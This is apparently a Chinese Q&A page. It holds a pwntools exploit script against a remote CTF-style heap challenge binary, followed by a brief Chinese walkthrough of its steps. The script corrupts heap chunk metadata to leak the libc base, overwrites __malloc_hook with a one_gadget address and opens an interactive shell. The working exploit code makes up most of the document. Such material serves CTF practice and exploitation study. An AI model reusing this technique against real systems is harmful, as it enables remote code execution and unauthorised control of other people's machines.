import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice): p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com): menu(1) # menu(1) p.sendlineafter(b"Damage of skill : ",str(size)) p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size): menu(2) p.sendlineafter(b"Index :",str(idx)) p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com): menu(3) p.sendlineafter(b"Index :",str(idx)) p.sendlineafter(b"introduction of skill : ",com) def show(idx): menu(4) p.sendlineafter(b"Index :",str(idx)) def delete(idx): menu(5) p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()
时间: 2024-02-26 15:53:22 浏览: 96
i 春秋月刊第六期:Linux pwn 零基础入门
这是一段 Python 代码,用于攻击一个程序。你在代码中使用了 pwntools 库来和程序进行交互。在这个攻击中,你创建了四个技能,然后删除了第三个技能。接着,你编辑了第一个技能的简介,将其覆盖为一段长度为 0x38 的字符串加上一个字节为 0xb1 的字符。然后你删除了第一个技能,并创建了一个长度为 0x40 的新技能。你读取了第二个技能的简介,从中获取了程序运行时的 libc 基地址。接着,你计算了一个函数的地址,然后将第二个技能的简介重新编辑,将其覆盖为一段长度为 0x20 的字符串加上一个指向 malloc_hook 的指针。然后你删除了第一个和第二个技能,并创建了两个新技能,最后触发了程序中的一个函数,从而获得了 shell。
阅读全文